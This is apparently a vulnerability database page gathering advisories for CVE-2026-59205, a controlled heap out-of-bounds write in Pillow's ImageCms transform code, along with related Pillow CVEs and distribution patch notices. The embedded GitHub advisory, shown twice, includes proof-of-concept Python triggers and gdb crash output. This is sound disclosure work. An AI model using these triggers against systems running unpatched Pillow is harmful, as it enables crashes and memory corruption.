Every CVE Search/ Get API key

CVE-2026-59205

Pillow: Controlled heap out-of-bounds write in `ImageCmsTransform.apply()` via output mode mismatch

7.5 HighFix available

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

0.39%Unchanged since Jul 15, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.5

Pillow: Controlled heap out-of-bounds write in `ImageCmsTransform.apply()` via output mode mismatch

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.

Record
CVE-2026-59205
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-787
Updated
2026-11-02
EUVDEUVD-2026-43746 7.5

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.

Record
EUVD-2026-43746
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-9hw9-ch79-4vh6 7.5

Pillow: Controlled heap out-of-bounds write in Pillow `ImageCmsTransform.apply()` via output mode mismatch

Summary

Pillow's public ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode.

For example, a transform built as RGBA -> RGBA can be applied to an L output image. Pillow checks dimensions only, then calls LittleCMS with the output row pointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel L image row.

Details

src/PIL/ImageCms.py:ImageCmsTransform.apply() accepts an optional caller supplied imOut:

def apply(self, im, imOut=None):
    if imOut is None:
        imOut = Image.new(self.output_mode, im.size, None)
    self.transform.apply(im.getim(), imOut.getim())
    imOut.info["icc_profile"] = self.output_profile.tobytes()
    return imOut

If imOut is provided, Pillow does not check:

im.mode == self.input_mode
imOut.mode == self.output_mode

The C wrapper in src/_imagingcms.c unwraps both image cores and only checks that the output dimensions are at least as large as the input dimensions:

static int
pyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) {
    if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) {
        return -1;
    }

    for (i = 0; i < im->ysize; i++) {
        cmsDoTransform(hTransform, im->image[i], imOut->image[i], im->xsize);
    }

    pyCMScopyAux(hTransform, imOut, im);
    return 0;
}

findLCMStype() maps RGB, RGBA, and RGBX transform modes to LittleCMS TYPE_RGBA_8, which writes 4 bytes per pixel:

case IMAGING_MODE_RGB:
case IMAGING_MODE_RGBA:
case IMAGING_MODE_RGBX:
    return TYPE_RGBA_8;

So with a transform declared as RGBA -> RGBA, LittleCMS writes 4 * width bytes to each output row. If the supplied output image is mode L, Pillow only allocated 1 * width bytes for that row.

For width 4096:

destination row allocation: 4096 bytes
LittleCMS write size:       16384 bytes
overflow:                  ~12288 bytes past the row

The bug does not require a large image. Width 8 was enough to corrupt heap metadata. At width 8, apply() returned to Python and printed after; glibc detected the corrupted heap later during cleanup.

PoC

Tiny heap corruption trigger:

from PIL import Image, ImageCms

srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")

im = Image.new("RGBA", (8, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (8, 1), 0)

print("before", flush=True)
transform.apply(im, out)
print("after")

Observed locally on Pillow 12.3.0.dev0:

before
after
free(): invalid next size (normal)
Aborted (core dumped)

Controlled overwrite evidence PoC:

from PIL import Image, ImageCms

srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")

im = Image.new("RGBA", (4096, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (4096, 1), 0)

transform.apply(im, out)

Run under gdb:

gdb -q --batch -ex run -ex bt --args \
  python3 b022_controlled.py

Observed on Pillow 12.3.0.dev0:

Program received signal SIGSEGV, Segmentation fault.
___pthread_mutex_lock (mutex=mutex@entry=0x4443424144434241)
#1 _cmsLockPrimitive (m=0x4443424144434241)
#2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241)
#3 _cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241)
#4 cmsSaveProfileToIOhandler(...)
#5 cmsSaveProfileToMem(...)
#6 cms_profile_tobytes (...) at src/_imagingcms.c:152

0x4443424144434241 is the attacker-controlled source pixel pattern b"ABCDABCD" interpreted as a little-endian pointer-sized value.

Using source pixels (1, 2, 3, 4) similarly produced a faulting pointer of 0x403020104030201, matching the repeated pixel bytes.

Impact

This is a heap out-of-bounds write in Pillow's native ImageCms extension, reachable through public API. …

Record
GHSA-9hw9-ch79-4vh6
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-787
Updated
2026-11-02
NVD 7.5

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.

Record
CVE-2026-59205
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-787
Updated
2026-11-02
OSV 7.5

Pillow: Controlled heap out-of-bounds write in `ImageCmsTransform.apply()` via output mode mismatch

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.

Record
CVE-2026-59205
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-787
Updated
2026-11-02
OSVDEBIAN-CVE-2026-59205 7.5

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.

Record
DEBIAN-CVE-2026-59205
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
Show 23 moreShow less
OSVGHSA-9hw9-ch79-4vh6 7.5

Pillow: Controlled heap out-of-bounds write in Pillow `ImageCmsTransform.apply()` via output mode mismatch

Summary

Pillow's public ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode.

For example, a transform built as RGBA -> RGBA can be applied to an L output image. Pillow checks dimensions only, then calls LittleCMS with the output row pointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel L image row.

Details

src/PIL/ImageCms.py:ImageCmsTransform.apply() accepts an optional caller supplied imOut:

def apply(self, im, imOut=None):
    if imOut is None:
        imOut = Image.new(self.output_mode, im.size, None)
    self.transform.apply(im.getim(), imOut.getim())
    imOut.info["icc_profile"] = self.output_profile.tobytes()
    return imOut

If imOut is provided, Pillow does not check:

im.mode == self.input_mode
imOut.mode == self.output_mode

The C wrapper in src/_imagingcms.c unwraps both image cores and only checks that the output dimensions are at least as large as the input dimensions:

static int
pyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) {
    if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) {
        return -1;
    }

    for (i = 0; i < im->ysize; i++) {
        cmsDoTransform(hTransform, im->image[i], imOut->image[i], im->xsize);
    }

    pyCMScopyAux(hTransform, imOut, im);
    return 0;
}

findLCMStype() maps RGB, RGBA, and RGBX transform modes to LittleCMS TYPE_RGBA_8, which writes 4 bytes per pixel:

case IMAGING_MODE_RGB:
case IMAGING_MODE_RGBA:
case IMAGING_MODE_RGBX:
    return TYPE_RGBA_8;

So with a transform declared as RGBA -> RGBA, LittleCMS writes 4 * width bytes to each output row. If the supplied output image is mode L, Pillow only allocated 1 * width bytes for that row.

For width 4096:

destination row allocation: 4096 bytes
LittleCMS write size:       16384 bytes
overflow:                  ~12288 bytes past the row

The bug does not require a large image. Width 8 was enough to corrupt heap metadata. At width 8, apply() returned to Python and printed after; glibc detected the corrupted heap later during cleanup.

PoC

Tiny heap corruption trigger:

from PIL import Image, ImageCms

srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")

im = Image.new("RGBA", (8, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (8, 1), 0)

print("before", flush=True)
transform.apply(im, out)
print("after")

Observed locally on Pillow 12.3.0.dev0:

before
after
free(): invalid next size (normal)
Aborted (core dumped)

Controlled overwrite evidence PoC:

from PIL import Image, ImageCms

srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")

im = Image.new("RGBA", (4096, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (4096, 1), 0)

transform.apply(im, out)

Run under gdb:

gdb -q --batch -ex run -ex bt --args \
  python3 b022_controlled.py

Observed on Pillow 12.3.0.dev0:

Program received signal SIGSEGV, Segmentation fault.
___pthread_mutex_lock (mutex=mutex@entry=0x4443424144434241)
#1 _cmsLockPrimitive (m=0x4443424144434241)
#2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241)
#3 _cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241)
#4 cmsSaveProfileToIOhandler(...)
#5 cmsSaveProfileToMem(...)
#6 cms_profile_tobytes (...) at src/_imagingcms.c:152

0x4443424144434241 is the attacker-controlled source pixel pattern b"ABCDABCD" interpreted as a little-endian pointer-sized value.

Using source pixels (1, 2, 3, 4) similarly produced a faulting pointer of 0x403020104030201, matching the repeated pixel bytes.

Impact

This is a heap out-of-bounds write in Pillow's native ImageCms extension, reachable through public API. …

Record
GHSA-9hw9-ch79-4vh6
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-787
Updated
2026-11-02
OSVOESA-2026-3185 8.3

python-pillow security update

Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift. of CVE-2022-22815,CVE-2022-22816)

Security Fix(es):

Pillow is a Python imaging library. Prior to 12.3.0, when Pillow loads an uncompressed McIdas AREA image from a filename through the mmap raw codec path, attacker-controlled header words can set a row stride smaller than the natural row width, causing pixel access such as Image.tobytes(), getpixel, convert, or save to read beyond the mapped region and disclose adjacent process memory or fault. This issue is fixed in version 12.3.0.(CVE-2026-54058)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.(CVE-2026-59197)

Pillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow's TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.(CVE-2026-59198)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.(CVE-2026-59199)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.(CVE-2026-59205)

Record
OESA-2026-3185
CVSS 4.0
8.3 HighCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Updated
2026-11-02
OSVOESA-2026-3186 8.3

python-pillow security update

Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift. of CVE-2022-22815,CVE-2022-22816)

Security Fix(es):

Pillow is a Python imaging library. Prior to 12.3.0, when Pillow loads an uncompressed McIdas AREA image from a filename through the mmap raw codec path, attacker-controlled header words can set a row stride smaller than the natural row width, causing pixel access such as Image.tobytes(), getpixel, convert, or save to read beyond the mapped region and disclose adjacent process memory or fault. This issue is fixed in version 12.3.0.(CVE-2026-54058)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.(CVE-2026-59197)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.(CVE-2026-59199)

Pillow is a Python imaging library. From 5.1.0 until 12.3.0, PdfParser.PdfStream.decode() in PIL/PdfParser.py calls zlib.decompress() with bufsize set to the PDF stream Length field without bounding the decompressed output size, allowing a crafted FlateDecode PDF stream to exhaust memory from a small file. This issue is fixed in version 12.3.0.(CVE-2026-59200)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.(CVE-2026-59205)

Record
OESA-2026-3186
CVSS 4.0
8.3 HighCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Updated
2026-11-02
OSVOESA-2026-3187 8.3

python-pillow security update

Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift. of CVE-2022-22815,CVE-2022-22816)

Security Fix(es):

Pillow is a Python imaging library. Prior to 12.3.0, when Pillow loads an uncompressed McIdas AREA image from a filename through the mmap raw codec path, attacker-controlled header words can set a row stride smaller than the natural row width, causing pixel access such as Image.tobytes(), getpixel, convert, or save to read beyond the mapped region and disclose adjacent process memory or fault. This issue is fixed in version 12.3.0.(CVE-2026-54058)

Pillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow's TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.(CVE-2026-59198)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.(CVE-2026-59199)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.(CVE-2026-59205)

Record
OESA-2026-3187
CVSS 4.0
8.3 HighCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Updated
2026-11-02
OSVOESA-2026-3188 8.3

python-pillow security update

Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift. of CVE-2022-22815,CVE-2022-22816)

Security Fix(es):

Pillow is a Python imaging library. Prior to 12.3.0, when Pillow loads an uncompressed McIdas AREA image from a filename through the mmap raw codec path, attacker-controlled header words can set a row stride smaller than the natural row width, causing pixel access such as Image.tobytes(), getpixel, convert, or save to read beyond the mapped region and disclose adjacent process memory or fault. This issue is fixed in version 12.3.0.(CVE-2026-54058)

Pillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow's TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.(CVE-2026-59198)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.(CVE-2026-59199)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.(CVE-2026-59205)

Record
OESA-2026-3188
CVSS 4.0
8.3 HighCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Updated
2026-11-02
OSVOESA-2026-3189 8.3

python-pillow security update

Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift. of CVE-2022-22815,CVE-2022-22816)

Security Fix(es):

Pillow is a Python imaging library. Prior to 12.3.0, when Pillow loads an uncompressed McIdas AREA image from a filename through the mmap raw codec path, attacker-controlled header words can set a row stride smaller than the natural row width, causing pixel access such as Image.tobytes(), getpixel, convert, or save to read beyond the mapped region and disclose adjacent process memory or fault. This issue is fixed in version 12.3.0.(CVE-2026-54058)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.(CVE-2026-59197)

Pillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow's TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.(CVE-2026-59198)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.(CVE-2026-59199)

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.(CVE-2026-59205)

Record
OESA-2026-3189
CVSS 4.0
8.3 HighCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Updated
2026-11-02
OSVPYSEC-2026-3453 7.5

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.

Record
PYSEC-2026-3453
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVUBUNTU-CVE-2026-59205 7.5

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.

Record
UBUNTU-CVE-2026-59205
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-05
OSVBIT-pillow-2026-59205 No score

Pillow: Controlled heap out-of-bounds write in `ImageCmsTransform.apply()` via output mode mismatch

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.

Record
BIT-pillow-2026-59205
Updated
2026-11-02
OSVCLSA-2026-1786468070 No score

TuxCare security update for pillow (5 CVEs)

TuxCare rebuilt pillow to address 5 CVEs. Fixed in 11.2.1.post3+tuxcare.

Record
CLSA-2026-1786468070
Updated
2026-11-02
OSVCLSA-2026-1790667879 No score

TuxCare security update for pillow (2 CVEs)

TuxCare rebuilt pillow to address 2 CVEs. Fixed in 10.4.0.post9+tuxcare.

Record
CLSA-2026-1790667879
Updated
2026-11-02
OSVCLSA-2026-1790674233 No score

TuxCare security update for pillow (14 CVEs)

TuxCare rebuilt pillow to address 14 CVEs. Fixed in 11.3.0.post5+tuxcare.

Record
CLSA-2026-1790674233
Updated
2026-11-02
OSVCLSA-2026-1790687627 No score

TuxCare security update for pillow (2 CVEs)

TuxCare rebuilt pillow to address 2 CVEs. Fixed in 9.5.0.post7+tuxcare.

Record
CLSA-2026-1790687627
Updated
2026-11-02
OSVCLSA-2026-1790747079 No score

TuxCare security update for pillow (4 CVEs)

TuxCare rebuilt pillow to address 4 CVEs. Fixed in 9.4.0.post8+tuxcare.

Record
CLSA-2026-1790747079
Updated
2026-11-02
OSVCLSA-2026-1790754735 No score

TuxCare security update for pillow (8 CVEs)

TuxCare rebuilt pillow to address 8 CVEs. Fixed in 8.4.0.post8+tuxcare.

Record
CLSA-2026-1790754735
Updated
2026-11-02
OSVMGASA-2026-0463 No score

Updated python-pillow packages fix security vulnerabilities

Prevent decompression bomb when parsing PDF WindowsViewer.get_command injection EPS image infinite loop JPEG2000 image memory usage McIdas out-of-bounds (OOB) read Out-of-bounds (OOB) read when saving 1 mode TGA images Out-of-bounds (OOB) write from large RankFilter sizes Out-of-bounds (OOB) write from Image.paste() Out-of-bounds (OOB) write in ImageCmsTransform Prevent FontFile decompression bomb Prevent GD decompression bomb

Record
MGASA-2026-0463
Updated
2026-11-02
OSVopenSUSE-SU-2026:21544-1 No score

Security update for python-Pillow

This update for python-Pillow fixes the following issues

  • CVE-2026-54058: out-of-bounds read via attacker-controlled row stride on mmap path (bsc#1271419).
  • CVE-2026-59197: heap out-of-bounds write in ImageFilter.RankFilter via integer overflow in ImagingExpand (bsc#1271418).
  • CVE-2026-59198: out-of-bounds heap data copied into file generated by TGA RLE encoder (bsc#1271420).
  • CVE-2026-59199: heap out-of-bounds write in Image.paste() and Image.crop() via signed coordinate overflow (bsc#1271421).
  • CVE-2026-59200: decompression bomb DoS via PdfParser.PdfStream.decode() (bsc#1271422).
  • CVE-2026-59204: denial of service through memory exhaustion via JPEG2000 tiled decoder (bsc#1271424).
  • CVE-2026-59205: controlled heap out-of-bounds write in ImageCmsTransform.apply() via output mode mismatch (bsc#1271425).
Record
openSUSE-SU-2026:21544-1
Updated
2026-11-02
OSVROOT-APP-PYPI-CVE-2026-59205 No score

CVE-2026-59205 in pillow - Patched by Root

Root has patched CVE-2026-59205 in the pillow package for Root:PyPI. Multiple fixed versions available.

Record
ROOT-APP-PYPI-CVE-2026-59205
Updated
2026-11-06
OSVSUSE-SU-2026:23217-1 No score

Security update for python-Pillow

This update for python-Pillow fixes the following issues

  • CVE-2026-54058: out-of-bounds read via attacker-controlled row stride on mmap path (bsc#1271419).
  • CVE-2026-59197: heap out-of-bounds write in ImageFilter.RankFilter via integer overflow in ImagingExpand (bsc#1271418).
  • CVE-2026-59198: out-of-bounds heap data copied into file generated by TGA RLE encoder (bsc#1271420).
  • CVE-2026-59199: heap out-of-bounds write in Image.paste() and Image.crop() via signed coordinate overflow (bsc#1271421).
  • CVE-2026-59200: decompression bomb DoS via PdfParser.PdfStream.decode() (bsc#1271422).
  • CVE-2026-59204: denial of service through memory exhaustion via JPEG2000 tiled decoder (bsc#1271424).
  • CVE-2026-59205: controlled heap out-of-bounds write in ImageCmsTransform.apply() via output mode mismatch (bsc#1271425).
Record
SUSE-SU-2026:23217-1
Updated
2026-11-02
OSVSUSE-SU-2026:23228-1 No score

Security update for python-Pillow

This update for python-Pillow fixes the following issues

  • CVE-2026-54058: out-of-bounds read via attacker-controlled row stride on mmap path (bsc#1271419).
  • CVE-2026-59197: heap out-of-bounds write in ImageFilter.RankFilter via integer overflow in ImagingExpand (bsc#1271418).
  • CVE-2026-59198: out-of-bounds heap data copied into file generated by TGA RLE encoder (bsc#1271420).
  • CVE-2026-59199: heap out-of-bounds write in Image.paste() and Image.crop() via signed coordinate overflow (bsc#1271421).
  • CVE-2026-59200: decompression bomb DoS via PdfParser.PdfStream.decode() (bsc#1271422).
  • CVE-2026-59204: denial of service through memory exhaustion via JPEG2000 tiled decoder (bsc#1271424).
  • CVE-2026-59205: controlled heap out-of-bounds write in ImageCmsTransform.apply() via output mode mismatch (bsc#1271425).
Record
SUSE-SU-2026:23228-1
Updated
2026-11-02
OSVSUSE-SU-2026:3084-1 No score

Security update for python-Pillow

This update for python-Pillow fixes the following issues

  • CVE-2026-54058: out-of-bounds read via attacker-controlled row stride on mmap path (bsc#1271419).
  • CVE-2026-59197: heap out-of-bounds write in ImageFilter.RankFilter via integer overflow in ImagingExpand (bsc#1271418).
  • CVE-2026-59198: out-of-bounds heap data copied into file generated by TGA RLE encoder (bsc#1271420).
  • CVE-2026-59199: heap out-of-bounds write in Image.paste() and Image.crop() via signed coordinate overflow (bsc#1271421).
  • CVE-2026-59200: decompression bomb DoS via PdfParser.PdfStream.decode() (bsc#1271422).
  • CVE-2026-59204: denial of service through memory exhaustion via JPEG2000 tiled decoder (bsc#1271424).
  • CVE-2026-59205: controlled heap out-of-bounds write in ImageCmsTransform.apply() via output mode mismatch
Record
SUSE-SU-2026:3084-1
Updated
2026-11-02
OSVSUSE-SU-2026:3268-1 No score

Security update for python-Pillow

This update for python-Pillow fixes the following issues:

  • CVE-2026-54058: out-of-bounds read via attacker-controlled row stride on mmap path (bsc#1271419).
  • CVE-2026-54059: bomb protection bypass via PCF font loading due to Image.frombytes() being called without _decompression_bomb_check() (bsc#1270409).
  • CVE-2026-54060: excessive allocation due to FontFile.compile(): Image.new() being called without _decompression_bomb_check() (bsc#1270410).
  • CVE-2026-55379: bomb protection bypass via font loading due to Image.new() being called without _decompression_bomb_check() (bsc#1270411).
  • CVE-2026-55380: unchecked 4.3 GB C-heap allocation due to image dimensions being accepted without _decompression_bomb_check() in GdImageFile._open() (bsc#1270412).
  • CVE-2026-59197: heap out-of-bounds write in ImageFilter.RankFilter via integer overflow in ImagingExpand (bsc#1271418).
  • CVE-2026-59198: out-of-bounds heap data copied into file generated by TGA RLE encoder (bsc#1271420).
  • CVE-2026-59199: heap out-of-bounds write in Image.paste() and Image.crop() via signed coordinate overflow (bsc#1271421).
  • CVE-2026-59200: decompression bomb DoS via PdfParser.PdfStream.decode() (bsc#1271422).
  • CVE-2026-59204: denial of service through memory exhaustion via JPEG2000 tiled decoder (bsc#1271424).
  • CVE-2026-59205: controlled heap out-of-bounds write in ImageCmsTransform.apply() via output mode mismatch (bsc#1271425).
Record
SUSE-SU-2026:3268-1
Updated
2026-11-02
OSVUSN-8999-1 No score

pillow vulnerabilities

It was discovered that Pillow incorrectly handled map stride values when loading certain McIdas AREA images. An attacker could possibly use this issue to obtain sensitive information or cause a denial of service. (CVE-2026-54058)

It was discovered that Pillow did not properly check for decompression bombs when processing font files. An attacker could possibly use this issue to cause Pillow to consume excessive memory, resulting in a denial of service. (CVE-2026-54059, CVE-2026-54060, CVE-2026-55379)

It was discovered that Pillow did not properly check for decompression bombs when loading GD image files. An attacker could possibly use this issue to cause Pillow to consume excessive memory, resulting in a denial of service. (CVE-2026-55380)

It was discovered that Pillow incorrectly validated filter sizes in the rank filter implementation. An attacker could possibly use this issue to cause Pillow to crash or execute arbitrary code. (CVE-2026-59197)

It was discovered that Pillow incorrectly handled image coordinate calculations. An attacker could possibly use this issue to cause Pillow to crash. (CVE-2026-59199)

It was discovered that Pillow did not properly limit the size of decompressed PDF stream data. An attacker could possibly use this issue to cause Pillow to consume excessive memory, resulting in a denial of service. (CVE-2026-59200)

